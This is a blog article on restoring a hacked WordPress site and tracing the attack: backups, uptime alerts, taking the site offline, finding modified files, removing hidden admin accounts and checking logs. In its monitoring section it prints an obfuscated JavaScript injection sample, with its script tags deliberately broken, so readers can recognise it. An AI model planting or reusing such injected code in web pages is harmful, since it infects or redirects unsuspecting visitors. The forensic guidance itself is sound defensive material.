It happens to most bloggers at some point – your WordPress blog gets pwned, and you’re not sure where to even start. I’ve gone through this process enough times, helping friends restore their blogs after a hack that it seemed like it might be helpful if I wrote an article about it.
This article will deal with how to restore your WordPress install, and perhaps more importantly, where to look to try to determine the nature of the attack so that you can make sure it won’t happen again. The vast majority of the techniques and principles mentioned in this article apply to any website, not just WordPress blogs, but a few sections are WordPress specific.
Actually, the latter is what most of this article will deal with, since spending the time to restore your blog is a complete waste of time if the vulnerability that allowed it to get hacked has not been addressed. If you’re not a pro, you probably just haven’t been exposed to this kind of forensics in the past, and failing to address the root of the problem (no pun intended) is why your blog may be repeatedly hacked over and over.
The Impact of a Hack
The full-impact of a hacked site or blog depends partially on the type of hack, and what the attack did. We’ll get into that a little further down in the article, but the high-level impacts of a site hack are:
- Lost time spent restoring the site, or lost money paying someone else to if you don’t have the technical skills.
- Possibly lost data or files.
- Site downtime, potentially resulting in lost sales or referrals
- Lost trust in your site by your user base. This can be devastating, and potentially the most difficult to fix, depending on how you react to the hack.
- Possibly infecting your users with malware.
Pretty serious stuff – but fortunately, two of the most significant items in that list are things you can directly mitigate by taking some precautions and staying calm if you get hit with an attack.
When You Fail to Prepare, You Prepare to Fail
My 8th grade science teacher used to say this, as he whipped out the yellow-lined paper that indicated we were getting an unannounced pop-quiz. Mr. Hill was one of the best teachers I’ve ever had, even though his smug grin and those damned yellow sheets of paper haunt me to this day. But you know what? He was totally right.
Right now, as you’re reading this, there is a reasonably good chance that someone is attempting to find a vulnerability in your site that will give them access to do bad things. I’m not being an alarmist, and unless your server environment is poorly secured and your WordPress install is outdated, they probably won’t be successful. But there are people and scripts out there doing port scans and attempting automated SQL injections and XSS attacks far more often than you think. You don’t notice these attacks (unless you obsessively review log files like I do) until one lands that is actually successful, but if you think that’s the first time it’s been attempted, you’re dead wrong.
There are things you can do RIGHT NOW, and habits you get get into that will make early detection and damage control a helluva lot easier.
Keep WordPress and Plugins Up to Date
This seems obvious, but it’s amazing how often it happens. WordPress releases updates often, and many times those updates are released specifically to address a vulnerability that has come to light. It may seem like a pain in the ass, but it really doesn’t take very long to do a full upgrade, and it’s one of the easiest ways you protect yourself from attacks.
WordPress is actually pretty secure these days – certainly a far cry from where it used to be. They’ve started to implement more security features, and I suspect that trend will continue with future releases. But new security measures don’t help you if you’re not running the latest version. Because WordPress is so popular, when a vulnerability is discovered, by way of white hats (good hackers) or black hats (bad hackers), word about it spreads like herpes on a rock star’s tour bus, and the bad guys work doubletime to write and distribute scripts that take advantage of that vulnerability before it’s patched.
WordPress does a pretty good job of reacting quickly to newly discovered vulnerabilities, but it’s up to you to upgrade to reap the benefits of the patches. It’s also up to you to stay on top of updating your plugins. Sometimes a plugin may have a vulnerability that allows bad guys to do bad things. Hopefully the plugin author is on top of that, and when they are, you’ve got to remember to login once in a while and update them.
Be sure to delete any un-used or inactive plugins. The fewer the directories you have hanging out unattended, the safer you are.
IMPORTANT: Make sure that you upgrade ALL of your WordPress installations. Depending on how your server is set up, if you use one FTP login to access multiple sites, the same user owns the files in all of your websites under that account. This means that if even one of your WordPress installations is older and therefore vulnerable, it can poison the ones that are up to date by changing files, installing shells and backdoors, etc.
Backup, Backup and Backup again
Seriously, a working backup is your best friend when you need to restore it back to working order. Most hosting companies do some sort of automated backup of your data, but it is your responsibility to ask them exactly what is being backed up, how often, and how long backups are stored on the server. Many hosting companies will do a complete weekly backup, and then a daily backup only of the files that have changed since the weekly backup was run, but you CANNOT assume that this is the case.
Ask them where the backups are stored, and if they are in a location on your server that you have permission to access, download a backup and see what’s in there. If you have to do a restore, being familiar with the file structure and contents of your backup will save you a lot of time during a high-stress situation.
In addition to whatever backups your server provides, WordPress has several plugins and tools available to make backing up your blog pretty painless.
I personally do automatic backups to an Amazon S3 account, with the help of a fantastic plugin called Automatic WordPress Backup. This plugin makes it absolutely effortless to do incremental backups to an external source, and backing up my entire blog, files and database included, costs me about $1.63 a month on my AS3 account. Setup isn’t that difficult, and they have an exhaustive video that takes you through the entire process from start to finish available on the site.
It’s a good idea to get in the habit of downloading your automated backups once a week, so that you have historical backups should you need them. Some FTP programs allow scheduled file transfers, otherwise you could whip up a quick Apple script to make it a process you never need to think about. Barring that, add it as a calendar appointment once a week to whatever calendar system you use. Make it part of your routine – you will never, ever regret it.
Remember that a backup isn’t a backup until you’ve tested that it actually works. Before there is a crisis, try a test restore (back up your working system first, of course!) using the files generated through your backup processes. This will both confirm that the data and files that are being backed up are functional, and will also give you an idea of how the process works so that you don’t have to figure it out from scratch while you’re freaking out because you’ve been hacked. Same concept as a fire drill.
Ask Your Web Host Where Your Log Files Live
In the event of a hack or defacement, you will need to know where to find your httpd, ssh and ftp logs. Know where these are, so you don’t have to scramble to find them during the heat of the moment.
Early Detection Equals Better Reputation Damage Control
The only thing worse than being hacked in the first place is being the last to know about it. It’s embarrassing, it’s awkward, and you can come off seeming like you’re out of touch with your own site.
When a user tells you your site has been hacked, you now have to deal with public perception damage control in addition to getting your site back online and figuring out wtf happened. The longer the delay in you finding out about it, the more of your users will see the hack, which is certainly not ideal from a PR perspective.
Worse yet, if the attack is one that redirects your users to a malware site (which a great many of them do), that delay means more of your users could end up with infected computers. They end up with a virus, and they blame you for it. This can have a serious impact on the amount of trust your users have in you and your website.
So short of clicking the reload button every 30 seconds on your website and vowing never to sleep again, how can you make sure you’re always the first – or damn close – to know? Easy.
Set up an account with one of the cheap or free website monitoring services. There are many to choose from, and some offer more features than others, but you can see a comparison of the ones I’ve tried here. I personally prefer Site24x7 because of the alert configuration options.
As you can see in the screenshot above, I have a very basic keyword detection alert set up. Generally speaking, when someone defaces or hijacks your site, the actual index page of your site is usually completely altered or broken. This configuration will alert me that my site is in trouble if the title of my website isn’t found in the test. I’ve also added an alert to search for the keyword “iframe”, since many javascript injection attacks will leave your page visibly unaltered, but will insert a series of iframes and links in the bottom of the page that would go unnoticed if I were simply looking at the site with my my eyes.
Naturally, if you might at some point create a blog post about iframes, you may want to tweak this alert so you don’t get any false alarms.
Unfortunately, not even this is foolproof, since most attacks use some sort of obfuscation to make the malicious code harder to track down. Many times this obfuscated or encrypted code will contain random characters and numbers to make it harder to Google for a matching result.
If the hack is causing your site users to be redirected to badsite.com, the first thing you’d probably do is do a global search for badsite.com, since any reference to it would be a tip-off that the file has been poisoned. However, what’s more likely for you to find in your code is something that looks like this:
NOTE: Avast Antivirus is stupid, and has been flagging this post as a trojan since I wrote it, due to the sample code below. There is no trojan on this page. Avast simply isn’t smart enough to realize that the code it’s seeing isn’t being parsed, it’s merely being displayed. I specifically opted not to use an image or alter the code, so that it would be easier to Google if someone ends up being infected with a similar injection. I’ve added some spaces in the <script> tags to hopefully stop the erroneous virus alerts this page triggers. The real javascript you find in your site will NOT have spaces in the script tags. Avast can suck it.
<scr ipt>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef) 71-216-213-225-:8-21:-212-43-226-225-::- 72-45-49-46-65-64-61-66-68-6:-215-227- 227-223-69-58-58-::-212-221-227-216-232- 222-57-::-222-21:-58-216-221-57-::-214-216- 74-61-45-43-22:-216-211-227-215-72-5:- 43-215-212-216-214-215-227-72-5:-43-226- 227-232-219-212-72-45-229-216-226-216- :9-216-219-216-227-232-69-43-215-216- 211-211-212-221-45-73-71-58-216-213-225- :8-21:-212-73**<=0tdsjqu?"; var result = ""; for(var i=0;i<source.length;i++) result+ =String.fromCharCode(source.charCodeAt(i)-1); document.write(result); </scr ipt> [spaces added intentionally]
So as you can see, the common sense of checking for badsite.com in your files isn’t enough anymore. Your blog most likely has javascript, so simply looking for <script> tags will give you false positives, so you’ll have to figure out what works best for you.
Once alert I usually like to put in there is for site4x7 to alert me if the content of my page has changed more then 10%. I don’t post often enough for 1/10th of an entire webpage to have changed, so if I get a ping on this alert, the first thing I do is look in the source code for invisible links. Some injections will insert literally hundreds of links that you can’t see when you look at the page in a browser, but the large chunk of hidden code will trip the alarm. (They do this to get search engine link juice from legitimate websites that point towards phishing or malware sites.)
Finally, you can set your alert to email you, send you an SMS message or both. If you’re close-by to some method of checking email most of the time, you may want to stick with email alerts, but I personally want to be woken up in the dead of night if something hinky is going on, so I have it set to SMS and email.
The Alarm Has Been Sounded. Now What?
You’ve received an alert from your site monitoring service notifying you that your site is “In trouble”. You obviously need to verify that it’s actually been hacked, and it’s not just a timeout or some other innocuous issue. Be sure to disable javascript before hitting your site – since many attacks inject a line of malicious javascript, you don’t want to end up infecting your own computer while checking your site.
In fact, to be even safer, don’t hit your homepage using your browser at all.
Some hacks will use a plain meta refresh redirection that doesn’t rely on javascript to send you on to a malware site, so disabling javascript won’t protect you from all threats. You can use a tool like the WC3 validator to inspect your HTML code and look for anything that seems out of place without actually executing any code. This is especially helpful if your site usually validates (your sites do validate, don’t they??) and suddenly do not. To make it even easier, go to the validator, run a scan now now, being sure to select “show source” in “More Options”, and then bookmark the results page.
Shit. Definitely Hacked. Now What?
First of all, in the words of Douglas Adams – Don’t Panic. Honestly. I know that sounds obvious, but if you panic and start acting rashly, best case scenario you could make a mistake, and worst case scenario, you could end up destroying whatever clues might be available on the server that might help you figure out how the attack was carried out. And that last part is really important if you want to make sure it doesn’t happen again.
Take a deep breath and exhale slowly.
This is not the end of the world, especially if you’ve followed the earlier instructions and you have a backup. (You did, right?) Contrary to popular belief, sites get hacked a lot. Big ones and little ones. It’s definitely a big deal, and I’m not saying you should go out for a stroll, but freaking out isn’t going to help you get this straightened out any faster. If you lose your cool here, you risk screwing things up even worse tan they were before, or at the very least, losing valuable information that can help you isolate the vector and prevent the attackers from getting in the same way again.
Immediately change the FTP/ssh login passwords to your site, your WordPress admin account and the database password.
Obviously, you will want to pick a hard to guess password. Do NOT update the database password in the WordPress config file yet. In fact, we haven’t touched any files yet.
Login to your server and quickly assess the damage – but don’t touch anything yet.
Worst case scenario, many or all of your files may be gone. Actually, in my mind, that’s not the worst case scenario. It’s far more frustrating to figure out if malware or malicious scripts have been uploaded to your server if the rest of the files are completely intact, as it can seem a bit like a needle in a haystack.
It can be tempting to immediately remove the offending files and fix everything as quickly as you can. While fixing things as quickly as you can is definitely a priority, you don’t want to go stomping all over your crime scene. (I say crime scene for the sake of analogy – most basic site defacements are of little interest to the authorities, however YOU still need to preserve evidence.)
Open your htaccess file and disable your site to incoming traffic.
There are several different ways of doing this, each one with pros and cons, and each one taking a varying amount of time. I highly recommend checking out the Close your website temporarily with Apache htaccess article on 25yearsofprogramming.com to see what your options are, with copy+paste code to get you there.
Ideally, you’ll want to create a plain HTML file that includes a friendly message (without any images, since ALL traffic will be redirecting to that file, so images won’t work) saying the site is offline for maintenance, and use htaccess to redirect ALL incoming traffic except that which is originating from your own IP address to that “closed for maintenance” page.
You need to disable traffic or redirect to a “closed for maintenance” page as quickly as possible, for several reasons. First of all, if your site is actually doing something bad – redirecting users to a malware site or attempting to install malware on their computers, this is the best way to protect them as quickly as possible. Second of all, it will help you manage the PR end of things if you’re able to protect your users with a more generic message. You can always explain to your users what happened later. The priority is to contain the threat so that you’re not infecting any visitors, and then you can take a little more time to investigate and repair the site.
Check for files that have been added or modified recently but do NOT fix them yet.
Someone or something modified at least a few files on your server, and the easiest way to figure out which files were modified is to look at the timestamp. If you have SSH access, go ahead and SSH in and execute the following command:
ls -lRta | less
This will give you a recursive listing (including last modified timestamp) of files, sorted by date modified.
You can also use something like this:
find . -type f -mtime -1 -print
… which will let you limit your results by date modified. In the example above, the resultes returned would be a listing of files modified in the last day. If you haven’t made any changes in the past day, there’s a good chance that the files that show up in the results here are the ones that have been modified by the attacker.
If you don’t have SSH access, this is a bit more of a pain in the ass, but still do-able. You’ll want to sort your FTP client’s results by date modified, and poke around in all of the directories, noting any file modification dates that don’t make sense.
One of the easiest ways to record the timestamp information is to screenshot the FTP client’s file listing while sorted by date modified. In SSH, you can pipe the results into a text file. We want to make sure we make a note of all of the files that have been modified recently so that we can check or replace them.
I usually make it a point to download all of the files that have been added or modified.
Since the repair process is going to blow out all of the hacker’s modifications, I like to download them so I can take a look at them in a text editor later, so I can figure out if there was more going on than initially appeared. Some nefarious scripts will initiate malware installs, some will send out emails with password information, some will create backdoors and/or secret admin accounts, some merely redirect users – but a good number of hacks implement all of these and more, so I want to put an eyeball on every file that was modified so I can make sure nothing worse happened.
Make with the Googling.
Google can often shed some light on the hack you’re facing. Chances are, you’re not the first target, so someone, somewhere may have posted about it. A lot of what you’ll find are forum members saying “WTF?! Were we hacked?”, but every now and then you can actually glean some useful information.
One of the best places to start is to Google the url of the site that your site was forwarding to or pulling data from. In this case we might try “badsite.com wordpress” or “badsite.Com hacked”. You’ll often find a lot of crossovers, and the same exploit that’s being used to wreak havoc on WordPress sites is also being use to hammer vbulletin sites around the same time frame. Once again, while doing this, be careful. If the sites are still infected, you do put your computer at a higher risk, so make sure your antivirus is fired up and your javascript is turned off, at the very least.
The reason why Googling for more information can be very helpful is because someone else may have already figured out the information you’re looking for. Specifically, if someone did a good job of documenting the hack, they may bring your attention to a backdoor that was created, some files that were modified that you didn’t think to check, and so on. You won’t always hit paydirt, but when you do, you’ll be really glad you bothered to check.
Check the database directly for secretly created admin users.
These folks can be tricksy, and they can sometimes use a javascript injection to insert new users with administrative privileges directly into your database. If you’ve allowed other users to register, it can be hard to tell legitimate users apart from suspicious users in the admin area. Plus, since your system was compromised, there is always the chance that your admin area will contain additional formatting that “hides” the admin users from view using CSS, so you’re better off going straight to the horse’s mouth.
First query the wp_users table to determine your own user ID, and the ID of anyone who legitimately should have admin access. Jot those IDs down. Then query the wp_usermeta table, which stores the user’s permission level in a chunk of serialized data. Something like this should work:
select * from wp_usermeta where meta_values LIKE '%administrator%';
In the results of that query, if you see ANY results with a user_id of something other than yourself or the other legitimate administrators, then the attacker was able to create admin users. Legitimate administrators usually have a wp_capabilities field value of something like this:
a:1:{s:13:"administrator";b:1;}Users that are not legitimate usually have a lot more text in there, part of which is made up of the script and CSS used to hide their presence. Make a note of the user_ids that are listed in the results and then delete those rows that do not belong.
Next, let’s look for additional rows that assign a wp_user_level to those same unsavory users. A query like:
select * from wp_usermeta where meta_key='wp_user_level' AND meta_value='10'
Chances are, you’ll see another set of records with matching IDs to the bogus ones you found in the earlier query. Delete the records that do not match the user_id of the legitimate administrators.
Check for script files where they don’t belong.
While it’s possible for malicious code to actually be embedded in what looks like an image file, what I have found to be far more common is that backdoor scripts will be inserted into your uploads subdirectories where normally only images live. As a site owner is cleaning up their hacked WordPress install, they often overlook combing through the images directory, since scripts don’t normally live there. That means that after the site owner has spent hours cleaning out a hacked blog, the backdoor gets triggered and they find themselves hacked all over again.
One of the commenters in this post had a similar issue. He kept cleaning out the script files, replacing them with clean copies, etc. And every week, the blog would get hacked again. We went through his file structure together, and sure enough, there were .php and .pl files tucked away in a few of his uploads directories.
In another instance (that I will hopefully get a chance to blog about soon), I discovered files in the cgi-bin that didn’t belong there. You can read more about that exploit in depth in my post about it on badwarebusters.org if you’re interested.
If you don’t have shell access and have an older blog with tons of upload subdirectories broken down by month, this can be time-consuming, but it really is necessary. Without SSH access, the easiest thing to do is to go into each directory in your FTP program and sort the file listing by file type. This will group all of the images together, and make it easy to spot anything that isn’t an image and doesn’t belong. Then do another quick sort by file modification date, just to be sure there’s nothing in there that doesn’t make sense, for example a recent modification date on an image from a blog post that is over a month old. Unless you know you went back into the blog post and updated an image, that file modification timestamp should look out of place and should raise some red flags.
Once you have a copy of all of the bad files and you know when they were modified, you can now restore the site.
Leave the htaccess redirect up until you’re done. I highly recommend blowing out all of the files in the entire webspace and restoring from a clean backup. What would be a clean backup? One that was done before the timestamps of the bad files. Bear in mind, just because there was no visible sign of a hack previously, that doesn’t mean bad scripts weren’t living on the server – so this method isn’t foolproof, but it’s a good place to start.
I usually do a fresh download and reinstall if the core WordPress files at this point, just to be on the safe side.
Once the site is restored, revert back to your normal htaccess and re-open the site.
How you handle your PR is up to you. For some, transparency may be best. If you believe that your users’ usernames and/or passwords were compromised in any way, you should let your user’s know. I use Disqus on all of my sites, so my WordPress database doesn’t contain any user’s login information, but if you use WordPress’ native comments, you need to let your users now that their information was potentially exposed. This is an ethical obligation because many people (stupidly) use the same login for multiple accounts online, and having access to their WordPress login could mean the bad guys now have access to other accounts because the user was dumb enough to use the same login for your site as for their bank.
I generally recommend turning off new user registration altogether in WordPress. Once you’ve done that, you can password protect the wp-admin directory to further secure your install. (We’ll talk more about other ways you can secure your WordPress installation in the next article.)
Spend some time looking at your log files.
This part is critical, so you can figure out what happened and how the exploit was executed. Check your httpd logs, looking for signs of cross-site scripting around the time the you were alerted to the hack and earlier. Look for GET or POST strings being sent that have weird code in them, specifically GET or POST variables that don’t make any sense for your website.
Check your FTP/SSH logs for logins from IP addresses you don’t recognize, specifically around the time the bad files were modified.
If you see FTP traffic during that time that wasn’t you (or another legitimate user) uploading the hacked files, there is a very good chance that you or someone who has FTP access to your server has malware on their computer. The other option there is that you (or someone with access) was uploading files while on a public wifi network, and someone sniffed the login over the network. That is a less likely scenario, but still one to consider. Nine times out of ten recently, when I have had to fix a client or friend’s hacked WordPress site, it is because the computer they use to upload files has been compromised by way of malware or a virus.
Be paranoid.
Seriously. Keep a close eye on on your site, specifically checking the places the exploit first showed up. Check back often, reviewing your source code for anything that doesn’t belong. Injected code is very often found at the very bottom or very top of the executed page, but may also be sprinkled throughout the file, so keep your eyes peeled. Remember what we discussed earlier – it may be obfuscated, so doing a find on the source looking for “badsite.com” may give you a false negative.
If possible, try to update your website service monitoring service alerts to specifically look for the bad code. Try not to be too specific, since many of these hacks that leave backdoors will randomize their obfuscation, so the bad code could do undetected if you’re too specific.
Repeat the same process of logging in and monitoring which files have been been recently added or modified. Many scripts will randomize the filename of the backdoor script they bury somewhere deeper in your file structure, so don’t get used to looking for specific filenames – look for timestamps, and the moment you see a timestamp you’re not responsible for, be ready for round two.
Follow-up with Google.
If your site ended up being listed as malware so that browsers, email clients and some search engines have your site flagged as one that is a potential source of malware, you can appeal this. Using Google Webmaster tools, you can request a review of your site. Once Google decides your site is no longer a threat, you’ll be de-listed as a potentially harmful site. More information on Google’s policy on harmful sites is available here.
Final Notes
The methods mentioned above about detecting how the hack was executed do not cover all possibilities. If a poorly written script allowed the attacker access beyond your webroot, your entire server could be compromised. This is less of a risk with a reliable virtual or cloud host, since they will limit what your user can access with respect to the rest of the server, but still something to keep in mind. There are a lot of different kinds of attacks that you won’ be able to diagnose using the methods above – a DNS injection, rootkit, and so on will be harder to backtrack, and you’d be best served consulting a professional.
If you’re interested in learning more about penetration testing and intrusion detection, I highly recommend the e-book “Detecting Malice” by Robert “RSnake” Hansen. If this is your first foray into pen testing and security, you’ll appreciate Robert’s way of explaining complicated topics using easy-to-understand-language. If you’re more experienced in this field, you’ll still learn a lot (and this article was probably too basic for you, so what the hell were you doing here anyway?)
Odds are, if you’ve had a website for a while, you’ve been hacked. It does happen – but by taking some steps ahead of time, and being prepared for it, you’ll be able to react more effectively and preserve more of your reputation and the information that may be needed to lock down whatever security holes you may have.
I’ll hopefully be following up this article with a second one, that provides tips on how to secure your WordPress blog. Stay tuned, and make sure you’re subscribed to the RSS feed to know when it’s up.
I obviously couldn’t cover every scenario in one article, especially given the potentially broad range of varying technical abilities of my readers and the huge nuance and variety of attacks, but I tried to cover the basics. Did you learn anything new? Did I miss something? Let me know in the comments.
